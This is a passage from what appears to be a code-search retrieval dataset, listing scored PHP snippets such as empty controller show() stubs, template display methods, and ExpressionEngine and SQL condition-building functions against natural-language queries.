"7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "c422e600117f23ecb3e910d02cd71439", "score": "0.5719182", "text": "public function show($id)\n\t{ \n\t\t//\n\t}", "title": "" }, { "docid": "7464e9c5980c37f2e71c965980844f2f", "score": "0.57157016", "text": "public function display() {\r\n \r\n function pec_display($pecio, $template_path_c) {\r\n \tinclude($template_path_c);\r\n }\r\n \r\n \t// here we need to get the canonicalized template path, so that we can include it with `include()`\r\n $template_path_c = $this->template_resource->get('template')->get_directory_path();\r\n \r\n // that's the \"normal\" path to the template directory\r\n $template_path = $this->template_resource->get('template')->get_directory_path(false);\r\n \r\n $this->template_resource->set('template_path', $template_path);\r\n $this->template_resource->set('template_path_c', $template_path_c);\r\n \r\n $pecio = $this->template_resource;\r\n pec_display($pecio, $template_path_c . $this->template_file);\r\n }", "title": "" }, { "docid": "39d7fb3e638fbdb7af4616a9e66a7c1e", "score": "0.571459", "text": "public function display() {\n $id = $_GET['value'];\n $product = $this->productManager->findOne($id);\n $page = 'product';\n require('./View/default.php');\n }", "title": "" }, { "docid": "e5b68899adbea6a73109d8e4dd1a0aad", "score": "0.5703109", "text": "public function showAction() {\r\n // Load View template\r\n $actorModel = new ActorModel(\"actors\");\r\n $actor = $actorModel->getActor(\"id\");\r\n include CURR_VIEW_PATH . \"actors\". DS . \"show.php\";\r\n // actorDB/application/views/actors/show.php;\r\n }", "title": "" }, { "docid": "fa1c2eb41c95d94a4e3d5fbf93d1fb39", "score": "0.5700314", "text": "public function show($id)\n\t{\n\t\t$user = Sentry::getUser();\n\t\t$request = $user->requests()->with('file')->where('id', $id)->first();\n\n\t\tif (! $request) return App::abort(404, \"Request resource [$id] not found.\");\n\n\t\t$file = $request->file()->first();\n\n\t\t$this->layout->content = View::make('my.requests.show')\n\t\t\t\t\t\t\t\t\t->with('user', $user)\n\t\t\t\t\t\t\t\t\t->with('request', $request)\n\t\t\t\t\t\t\t\t\t->with('file', $file);\n\t}", "title": "" }, { "docid": "7b283ba1c0546a155efc95a44dd0f9cf", "score": "0.56981397", "text": "public function show(Response $response)\n {\n //\n }", "title": "" }, { "docid": "7580b6a8a70ffcf0c85b9c5fd2d164c8", "score": "0.56878597", "text": "public function show($id)\n\t{\t\n\t\t\n\t}", "title": "" }, { "docid": "8fb8368b4d32374cf0802714864ca045", "score": "0.5686805", "text": "public function show(Spec $spec)\n {\n //\n }", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]
10ac1d461ae51d14c9ab1121293281d4
Prepare the row for conditionals Retrieves a prefixed set of all the row data that can be passed to prep_conditionals to allow for proper conditionals.
[ { "docid": "bad97ff8de01ea6d5c9fb20e07f5d0e0", "score": "0.6468063", "text": "protected function _get_conditional_data($row, $prefix, $channel, $modified_conditionals)\n\t{\n\t\t$pre = $this->_preparser;\n\n\t\t$cond = $row;\n\t\t$cond['logged_in']\t\t\t= (ee()->session->userdata('member_id') == 0) ? FALSE : TRUE;\n\t\t$cond['logged_out']\t\t\t= (ee()->session->userdata('member_id') != 0) ? FALSE : TRUE;\n\n\t\tforeach (array('avatar_filename', 'photo_filename', 'sig_img_filename') as $pv)\n\t\t{\n\t\t\tif ( ! isset($row[$pv]))\n\t\t\t{\n\t\t\t\t$row[$pv] = '';\n\t\t\t}\n\t\t}\n\n\t\t$cond['allow_comments']\t\t\t= $this->_commenting_allowed($row) ? TRUE : FALSE;\n\t\t$cond['signature_image']\t\t= ($row['sig_img_filename'] == '' OR ee()->config->item('enable_signatures') == 'n' OR ee()->session->userdata('display_signatures') == 'n') ? FALSE : TRUE;\n\t\t$cond['avatar']\t\t\t\t\t= ($row['avatar_filename'] == '' OR ee()->config->item('enable_avatars') == 'n' OR ee()->session->userdata('display_avatars') == 'n') ? FALSE : TRUE;\n\t\t$cond['photo']\t\t\t\t\t= ($row['photo_filename'] == '' OR ee()->config->item('enable_photos') == 'n' OR ee()->session->userdata('display_photos') == 'n') ? FALSE : TRUE;\n\t\t$cond['forum_topic']\t\t\t= (empty($row['forum_topic_id'])) ? FALSE : TRUE;\n\t\t$cond['not_forum_topic']\t\t= ( ! empty($row['forum_topic_id'])) ? FALSE : TRUE;\n\t\t$cond['category_request']\t\t= ($channel->cat_request === FALSE) ? FALSE : TRUE;\n\t\t$cond['not_category_request']\t= ($channel->cat_request !== FALSE) ? FALSE : TRUE;\n\t\t$cond['channel']\t\t\t\t= $row['channel_title'];\n\t\t$cond['channel_short_name']\t\t= $row['channel_name'];\n\t\t$cond['author']\t\t\t\t\t= ($row['screen_name'] != '') ? $row['screen_name'] : $row['username'];\n\t\t$cond['photo_url']\t\t\t\t= ee()->config->slash_item('photo_url').$row['photo_filename'];\n\t\t$cond['photo_image_width']\t\t= $row['photo_width'];\n\t\t$cond['photo_image_height']\t\t= $row['photo_height'];\n\t\t$cond['avatar_url']\t\t\t\t= ee()->config->slash_item('avatar_url').$row['avatar_filename'];\n\t\t$cond['avatar_image_width']\t\t= $row['avatar_width'];\n\t\t$cond['avatar_image_height']\t= $row['avatar_height'];\n\t\t$cond['signature_image_url']\t= ee()->config->slash_item('sig_img_url').$row['sig_img_filename'];\n\t\t$cond['signature_image_width']\t= $row['sig_img_width'];\n\t\t$cond['signature_image_height']\t= $row['sig_img_height'];\n\t\t$cond['relative_date']\t\t\t= timespan($row['entry_date']);\n\n\t\t//-- we need to prep the default dates\n\n\t\t$default_dates = array('entry_date', 'edit_date', 'recent_comment_date', 'expiration_date', 'comment_expiration_date');\n\n\t\tforeach($default_dates as $value)\n\t\t{\n\t\t\t$cond[$value] = (empty($row[$value])) ? '' : $row[$value];\n\t\t}\n\n\t\tforeach($channel->mfields as $key => $value)\n\t\t{\n\t\t\t$cond[$key] = ( ! array_key_exists('m_field_id_'.$value[0], $row)) ? '' : $row['m_field_id_'.$value[0]];\n\t\t}\n\n\t\t// custom field conditionals\n\t\tif (isset($channel->cfields[$row['site_id']]))\n\t\t{\n\t\t\tforeach($channel->cfields[$row['site_id']] as $key => $value)\n\t\t\t{\n\t\t\t\t$cond[$key] = ( ! isset($row['field_id_'.$value])) ? '' : $row['field_id_'.$value];\n\n\t\t\t\t// Make sure Toggle fields are the proper integers they're supposed to be\n\t\t\t\tif (isset($channel->tfields[$row['site_id']][$key]))\n\t\t\t\t{\n\t\t\t\t\t$cond[$key] = (int) $cond[$key];\n\t\t\t\t}\n\n\t\t\t\t// Is this field used with a modifier anywhere?\n\t\t\t\tif (isset($modified_conditionals[$key]) && count($modified_conditionals[$key]))\n\t\t\t\t{\n\t\t\t\t\tee()->load->library('api');\n\t\t\t\t\tee()->legacy_api->instantiate('channel_fields');\n\n\t\t\t\t\tif (ee()->api_channel_fields->setup_handler($value))\n\t\t\t\t\t{\n\t\t\t\t\t\tforeach($modified_conditionals[$key] as $modifier)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tee()->api_channel_fields->apply('_init', array(array(\n\t\t\t\t\t\t\t\t'row' => $row,\n\t\t\t\t\t\t\t\t'content_id' => $row['entry_id'],\n\t\t\t\t\t\t\t\t'content_type' => 'channel'\n\t\t\t\t\t\t\t)));\n\t\t\t\t\t\t\t$data = ee()->api_channel_fields->apply('pre_process', array($cond[$key]));\n\t\t\t\t\t\t\tif (ee()->api_channel_fields->check_method_exists('replace_'.$modifier))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$result = ee()->api_channel_fields->apply('replace_'.$modifier, array($data, array(), FALSE));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$result = FALSE;\n\t\t\t\t\t\t\t\tee()->TMPL->log_item('Unable to find parse type for custom field conditional: '.$key.':'.$modifier);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$cond[$key.':'.$modifier] = $result;\n\n\t\t\t\t\t\t\t// If this key also happens to be a Grid field with the modifier\n\t\t\t\t\t\t\t// \"total_rows\", make it the default value for evaluating\n\t\t\t\t\t\t\t// conditionals\n\t\t\t\t\t\t\tif (isset($channel->gfields[$row['site_id']][$key]) &&\n\t\t\t\t\t\t\t\t$modifier == 'total_rows')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$cond[$key] = (int) $result;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// If this key also happens to be a Fluid field with the modifier\n\t\t\t\t\t\t\t// \"total_fields\", make it the default value for evaluating\n\t\t\t\t\t\t\t// conditionals\n\t\t\t\t\t\t\tif (isset($channel->ffields[$row['site_id']][$key]) &&\n\t\t\t\t\t\t\t\t$modifier == 'total_fields')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$cond[$key] = (int) $result;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\n\n\t\tforeach ($channel->mfields as $key => $value)\n\t\t{\n\t\t\t$cond[$key] = ( ! array_key_exists('m_field_id_'.$value[0], $row)) ? '' : $row['m_field_id_'.$value[0]];\n\t\t}\n\n\t\tif ( ! $prefix)\n\t\t{\n\t\t\treturn $cond;\n\t\t}\n\n\t\t$prefixed_cond = array();\n\n\t\tforeach ($cond as $k => $v)\n\t\t{\n\t\t\t$prefixed_cond[$prefix.$k] = $v;\n\t\t}\n\n\t\treturn $prefixed_cond;\n\t}", "title": "" } ]
[ { "docid": "4146886be8aab4b962c4f249b6927d95", "score": "0.60946244", "text": "private function _prepareRow($array){\n return array_merge($this->_blankRow, $array);\n }", "title": "" }, { "docid": "83bdc921c0169aea84bc99f061867614", "score": "0.6016022", "text": "abstract public function getRow($cond_vars);", "title": "" }, { "docid": "ac9b8a2b471851f6a0bdd10d6b2e4792", "score": "0.5895603", "text": "public function prep(){\n return $where = $this->question_where();\n }", "title": "" }, { "docid": "e4e23e49b7ccd5b1aaabe6e259e2b7f2", "score": "0.58432835", "text": "protected function _prepareRowsAction() {\n \n }", "title": "" }, { "docid": "de37a9a0c33ca253fe9373b203a3aafe", "score": "0.58047926", "text": "public function prepareRow($row) {\n\t\n if ($row->DateQuit) {\n\t\t$row->DateQuit = $this->formatdate($row->DateQuit);\t\t\n }\n if ($row->Postcode) {\n\t\t$Postcode = preg_replace(\"/[^a-zA-Z0-9]/\", \"\", $row->Postcode);\n\t\tif (ctype_digit($Postcode) && strlen($Postcode) == \"4\") {\n\t\t\t$row->Postcode = $Postcode;\t\t\t\n\t\t} else {\n\t\t\t$row->Postcode = \"\";\n\t\t}\n } \n if ($row->State) {\n\t\t$states = array( 'ACT','NSW','NT','QLD','SA','TAS','VIC','WA');\n\t\t$str = strtoupper($row->State);\n\t\tif (in_array($str, $states)) {\n\t\t\t$row->State = $str;\n\t\t} else {\n\t\t\t$row->State = \"\";\n\t\t}\n } \n if ($row->Gender) {\n\t\t$gender_options = array('male', 'female');\n\t\tif (in_array(strtolower($row->Gender), $gender_options)) {\n\t\t\t$gender = strtolower($row->Gender);\n\t\t\t$row->Gender = $gender;\n\t\t} else {\n\t\t\t$row->Gender = \"\";\n\t\t}\n }\n if ($row->DateOfBirth) {\t\n\t\t$row->DateOfBirth = $this->formatdate($row->DateOfBirth);\n }\n if ($row->DateTreatmentStart) {\t\n\t\t$row->DateTreatmentStart = $this->formatdate($row->DateTreatmentStart);\n }\n if ($row->PhoneMobile) {\n\t\t$PhoneMobile = preg_replace(\"/[^a-zA-Z0-9]/\", \"\", $row->PhoneMobile);\n\t\tif (ctype_digit($PhoneMobile)) {\n\t\t\tif (substr( trim($PhoneMobile ), 0, 2 ) == \"61\" && strlen( trim($PhoneMobile) ) >= \"11\") {\n\t\t\t\t$newphone = substr(trim($PhoneMobile), 2);\n\t\t\t\t$row->PhoneMobile = $newphone;\n\t\t\t}\n\t\t\telse if (substr( trim($PhoneMobile ), 0, 1 ) == \"0\" && strlen( trim($PhoneMobile) ) >= \"10\") {\n\t\t\t\t$newphone = substr(trim($PhoneMobile), 1);\n\t\t\t\t$row->PhoneMobile = $newphone;\t\t\t\t\n\t\t\t}\n\t\t\tif (!(strlen($row->PhoneMobile) >= \"9\" && strlen($row->PhoneMobile) <= \"11\")) {\n\t\t\t\t$row->PhoneMobile = \"\";\n\t\t\t}\n\t\t\t//$row->PhoneMobile = '91'.$PhoneMobile;\n\t\t} else {\n\t\t\t$row->PhoneMobile = \"\";\n\t\t}\n } \n return TRUE;\n }", "title": "" }, { "docid": "db9b8bc0ee6cbce07d06903ff6fb84e4", "score": "0.5794153", "text": "public function prepareRow() {\n $this->values = [];\n foreach ($this->columns as $column) {\n $this->values[] = '?';\n }\n return $this;\n }", "title": "" }, { "docid": "614ba552bd32e50c50fcfe6902b2e75a", "score": "0.57028204", "text": "public function prepopulateRowWhenEmpty()\n {\n return $this->withMeta(['prepopulateRowWhenEmpty' => true]);\n }", "title": "" }, { "docid": "0e95f2aa677af2c3949df0f1544c2c9b", "score": "0.5681119", "text": "function prepareRowData(array &$row)\n{\n sanitizeDataQueried($row);\n convertAllDates($row);\n roundRawGrade($row);\n}", "title": "" }, { "docid": "5ba8b8cd4316b6500aedb9a653e81309", "score": "0.5563536", "text": "public function beforePrepare($itemArray, Cond $cond = null)\n {\n return $itemArray;\n }", "title": "" }, { "docid": "bd8428a12d4833098a591d0e9dc9b74a", "score": "0.5531264", "text": "protected function _preparePaidContentItemConditions(array $conditions, array &$fetchOptions, array &$sqlConditions)\r\n {\r\n }", "title": "" }, { "docid": "048a4e53fb06dd74035472e2d5190aee", "score": "0.54950804", "text": "function _prepareConditions($conditions, $pExtendingModuleID = null)\n{\n $debug_prefix = debug_indent(\"Module-_prepareConditions() {$this->ModuleID}:\");\n print \"$debug_prefix\\n\";\n $parentRecordConditions = array();\n $whereConditions = array();\n $protectJoinAliases = array();\n $SQL = '';\n\n $use_parent = true;\n if(empty($parentModuleID)){\n if(empty($this->parentModuleID)){\n $use_parent = false;\n } else {\n $parentModuleID = $this->parentModuleID;\n }\n }\n\n if($use_parent){\n $parentModule =& GetModule($parentModuleID);\n $parentPK = end($parentModule->PKFields);\n }\n\n if(! empty($pExtendingModuleID )){\n print \"extending module conditions: $pExtendingModuleID, {$this->ModuleID}\\n\";\n $extendingModule = GetModule($pExtendingModuleID);\n if(!empty( $extendingModule->extendsModuleFilterField )){\n $conditions[$extendingModule->extendsModuleFilterField] = $extendingModule->extendsModuleFilterValue;\n print \"added extended condition:\\n\";\n print_r($conditions);\n }\n }\n\n if(count($conditions) > 0){\n foreach($conditions as $conditionField => $conditionValue){\n print \"$debug_prefix Condition $conditionField => $conditionValue\\n\";\n\n $conditionModuleField = $this->ModuleFields[$conditionField];\n if(empty($conditionModuleField)){\n die(\"field {$this->ModuleID}.$conditionModuleField is empty\\n\");\n }\n $qualConditionField = $conditionModuleField->getQualifiedName($this->ModuleID);\n $conditionJoins = $conditionModuleField->makeJoinDef($this->ModuleID);\n if(count($conditionJoins) > 0){\n foreach(array_keys($conditionJoins) as $conditionJoinAlias){\n $protectJoinAliases[] = $conditionJoinAlias;\n }\n }\n\n if($use_parent){\n if(preg_match('/\\[\\*([\\w]+)\\*\\]/', $conditionValue, $match[1])){\n if($match[1][1] == $parentPK){\n $whereConditions[$qualConditionField] = '/**RecordID**/';\n } else {\n print \"SM found match $match[1][0]\\n\";\n $parentRecordConditions[$qualConditionField] = $match[1][1];\n }\n } else {\n $whereConditions[$qualConditionField] = $conditionValue;\n }\n } else {\n $whereConditions[$qualConditionField] = $conditionValue;\n }\n }\n }\n\n if($use_parent){\n $needParentSubselect = false;\n if(count($parentRecordConditions) > 0){\n foreach($parentRecordConditions as $localConditionField => $parentConditionField){\n $parentModuleField = $parentModule->ModuleFields[$parentConditionField];\n if(empty($parentModuleField)){\n die(\"field {$this->parentModuleID}.$parentConditionField is empty\\n\");\n }\n if(strtolower(get_class($parentModuleField)) != 'tablefield'){\n $needParentSubselect = true;\n }\n }\n if($needParentSubselect){\n $parentJoins = array();\n $parentSelects = array();\n foreach($parentRecordConditions as $localConditionField => $parentConditionField){\n $parentModuleField = $parentModule->ModuleFields[$parentConditionField];\n $parentSelects[] = $parentModuleField->makeSelectDef('iparent');\n $parentJoins = array_merge($parentJoins, $parentModuleField->makeJoinDef('iparent'));\n }\n\n $subSQL = 'SELECT ';\n $subSQL .= implode(\",\\n\", $parentSelects);\n $subSQL .= \"\\nFROM `{$this->parentModuleID}` AS `iparent`\\n\";\n $parentJoins = SortJoins($parentJoins);\n $subSQL .= implode(\"\\n \", $parentJoins);\n $subSQL .= \"\\nWHERE `iparent`.$parentPK = '/**RecordID**/' \\n\";\n\n $SQL = \"\\n INNER JOIN ($subSQL) AS `parent` ON (\\n\";\n $parentConditionStrings = array();\n foreach($parentRecordConditions as $localConditionField => $parentConditionField){\n $parentConditionStrings[] = \"`parent`.$parentConditionField = $localConditionField\";\n }\n $SQL .= implode(\"\\n AND \", $parentConditionStrings);\n $SQL .= \")\\n\";\n } else {\n $SQL = \"\\n INNER JOIN `{$this->parentModuleID}` AS `parent` ON (\\n\";\n $parentConditionStrings = array();\n foreach($parentRecordConditions as $localConditionField => $parentConditionField){\n $parentModuleField = $parentModule->ModuleFields[$parentConditionField];\n $qualParentConditionField = $parentModuleField->getQualifiedName('parent');\n $parentConditionStrings[] = \"$localConditionField = $qualParentConditionField\";;\n }\n $SQL .= implode(\"\\n AND \", $parentConditionStrings);\n $SQL .= \")\\n\";\n\n $whereConditions[\"`parent`.$parentPK\"] = '/**RecordID**/';\n }\n\n }\n }\n\n debug_unindent();\n return array(\n 'parentJoinSQL' => $SQL,\n 'whereConditions' => $whereConditions,\n 'protectJoinAliases' => $protectJoinAliases\n );\n}", "title": "" }, { "docid": "cea0b286d80164ab35f5f5e78db5ee14", "score": "0.5476796", "text": "function getConditionalData($select_atrib,$conditions){\n $query = \"SELECT \";\n $comma_counter = 1;\n foreach ($select_atrib as $val){\n $query .= \"{$val}\";\n if($comma_counter < sizeof($select_atrib)){\n $query .= \",\";\n $comma_counter += 1;\n }\n\n }\n $query .= \" FROM $this->table_name WHERE \".$conditions;\n\n $result = $this->db_connect->query($query);\n if (!$result) {\n die(\"Data Retrieve failed: \" . $this->db_connect->error);\n } else {\n if ($result->num_rows > 0) {\n $data = array();\n while ($row = $result->fetch_assoc()) {\n array_push($data,$row);\n }\n return $data;\n }else{\n return null;\n }\n }\n }", "title": "" }, { "docid": "42866b9df89dcf9f6404d7ed037df72d", "score": "0.5374698", "text": "public static function getConditionsHook()\n\t{\n\t\t$conditions = array();\n\n\t\t$conditions['select'] = '`id`, `id` AS sid, `title`, \\'\\' AS `alias`, 1 AS parent_id, `section` AS extension, `description`, `published`, `checked_out`, `checked_out_time`, `access`, `params`, `section`';\n\n\t\t$where_or = array();\n\t\t$where_or[] = \"section REGEXP '^[\\\\-\\\\+]?[[:digit:]]*\\\\.?[[:digit:]]*$'\";\n\t\t$where_or[] = \"section IN ('com_banner', 'com_contact', 'com_contact_details', 'com_content', 'com_newsfeeds', 'com_sections', 'com_weblinks' )\";\n\t\t$conditions['where_or'] = $where_or;\n\n\t\t$conditions['order'] = \"id ASC, section ASC, ordering ASC\";\t\n\n\t\treturn $conditions;\n\t}", "title": "" }, { "docid": "5a692de12e94468e51fe8af008b37bfb", "score": "0.5373323", "text": "protected function filter_row(&$row) {}", "title": "" }, { "docid": "368a7bdd8b2e9f0b73cc9805184cf2d5", "score": "0.53724617", "text": "public function prepareRow($current_row) {\n\n // images\n $this->__prepareRowImages($current_row);\n\n // DOING ALL OF THE QUESTIONS SEPARATELY DUE TO AMBIGUITY ISSUES (IN SQL)\n $this->__prepareRowQuestionRelationshipStatus($current_row);\n $this->__prepareRowQuestionReligiousAffiliation($current_row);\n $this->__prepareRowQuestionHeight($current_row);\n $this->__prepareRowQuestionBodyType($current_row);\n $this->__prepareRowQuestionKosher($current_row);\n $this->__prepareRowQuestionColourEyes($current_row);\n $this->__prepareRowQuestionColourHair($current_row);\n $this->__prepareRowQuestionFriendSummary($current_row);\n $this->__prepareRowQuestionSmoker($current_row);\n $this->__prepareRowQuestionDrinking($current_row);\n $this->__prepareRowQuestionPassionateAbout($current_row);\n $this->__prepareRowQuestionEducation($current_row);\n $this->__prepareRowQuestionLanguages($current_row);\n $this->__prepareRowQuestionChildren($current_row);\n\n // add a deactivated role if user is blocked\n if (!$current_row->active) {\n $current_row->roles[] = 7; // deactivated\n }\n\n // this row is OK\n return TRUE;\n }", "title": "" }, { "docid": "e074d265751a66fbb6d9354ee6e0a75f", "score": "0.5333392", "text": "function prepareConditions(IUser $user) { \n \n $today = new DateValue(time() + get_user_gmt_offset($user)); // Calculate user timezone when determining today\n \n switch($this->getDateFilter()) {\n\n // List time records posted for today\n case self::DATE_FILTER_TODAY:\n $conditions[] = \"(CAST(paid_on as date) = \" . DB::escape($today->toMySQL()) . ')';\n break;\n \n // Time tracked for yesterday\n case self::DATE_FILTER_YESTERDAY:\n $yesterday = $today->advance(-86400, false);\n $conditions[] = \"(CAST(paid_on as date) = \" . DB::escape($yesterday->toMySQL()) . ')';\n break;\n \n // List next week records\n case self::DATE_FILTER_LAST_WEEK:\n $first_week_day = (integer) ConfigOptions::getValueFor('time_first_week_day', $user);\n \n $last_week = $today->advance(-604800, false);\n \n $week_start = $last_week->beginningOfWeek($first_week_day);\n $week_end = $last_week->endOfWeek($first_week_day);\n \n $week_start_str = DB::escape($week_start->toMySQL());\n $week_end_str = DB::escape($week_end->toMySQL());\n \n $conditions[] = \"(CAST(paid_on as date) >= $week_start_str AND CAST(paid_on as date) <= $week_end_str)\";\n break;\n \n // List this week records\n case self::DATE_FILTER_THIS_WEEK:\n $first_week_day = (integer) ConfigOptions::getValueFor('time_first_week_day', $user);\n \n $week_start = $today->beginningOfWeek($first_week_day);\n $week_end = $today->endOfWeek($first_week_day);\n \n $week_start_str = DB::escape($week_start->toMySQL());\n $week_end_str = DB::escape($week_end->toMySQL());\n \n $conditions[] = \"(CAST(paid_on as date) >= $week_start_str AND CAST(paid_on as date) <= $week_end_str)\";\n break;\n \n // List this month time records\n case self::DATE_FILTER_LAST_MONTH:\n $month = $today->getMonth() - 1;\n $year = $today->getYear();\n \n if($month == 0) {\n $month = 12;\n $year -= 1;\n } // if\n \n $month_start = DateTimeValue::beginningOfMonth($month, $year);\n $month_end = DateTimeValue::endOfMonth($month, $year);\n \n $month_start_str = DB::escape($month_start->toMySQL());\n $month_end_str = DB::escape($month_end->toMySQL());\n \n $conditions[] = \"(CAST(paid_on as date) >= $month_start_str AND CAST(paid_on as date) <= $month_end_str)\";\n break;\n \n // Last month\n case self::DATE_FILTER_THIS_MONTH:\n $month_start = DateTimeValue::beginningOfMonth($today->getMonth(), $today->getYear());\n $month_end = DateTimeValue::endOfMonth($today->getMonth(), $today->getYear());\n \n $month_start_str = DB::escape($month_start->toMySQL());\n $month_end_str = 